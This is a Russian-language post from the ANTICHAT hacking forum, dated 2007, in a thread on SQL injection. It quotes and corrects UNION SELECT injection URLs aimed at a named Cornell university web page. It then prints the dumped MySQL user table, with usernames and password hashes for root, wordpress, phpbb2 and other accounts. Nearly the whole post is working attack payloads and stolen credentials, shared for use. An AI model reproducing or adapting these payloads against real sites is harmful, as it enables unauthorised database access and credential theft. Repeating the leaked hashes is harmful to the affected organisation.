ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу SQL Инъекции
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

  #11  
Старый 29.05.2007, 09:53
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами: 10313606

Репутация: 1327
По умолчанию
Цитата:
Сообщение от NOmeR1  
Смотрим название картинки
Код:
http://cemcom.infosci.cornell.edu/projects.php?pid=-12+union+select+USER(),2/*
http://cemcom.infosci.cornell.edu/projects.php?pid=-12+union+select+VERSION(),2/*
http://cemcom.infosci.cornell.edu/projects.php?pid=-12+union+select+DATABASE(),2/*
Пароль от ROOT (хеш)
Код:
http://cemcom.infosci.cornell.edu/projects.php?pid=-12+union+select+user,2+from+mysql.user/*
http://cemcom.infosci.cornell.edu/projects.php?pid=-12+union+select+password,2+from+mysql.user/*
во первых пиши все одним запросом, почитай про concat(), во вторых твой запрос не верен, он должен быть вот таким
Код:
http://cemcom.infosci.cornell.edu/projects.php?pid=-12+union+select+1,2,concat(user,char(58),password),4,5,6,7,8,9,10+from+mysql.user/*
root:1fc1948a4f4019c6
root:
:
wordpress:4c939e2e4400bf8a
wiki:368560a9410169b5
phpbb2:77c86717526fcef9
phpesp:723444a11c4122af
iocrew:60bb08ca538d775c
liverank:0991050a06133626
356forum:1c3c515b47e848a9
forum:0f0dbe0300330c1b
wikiuser:1fc1948a4f4019c6
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.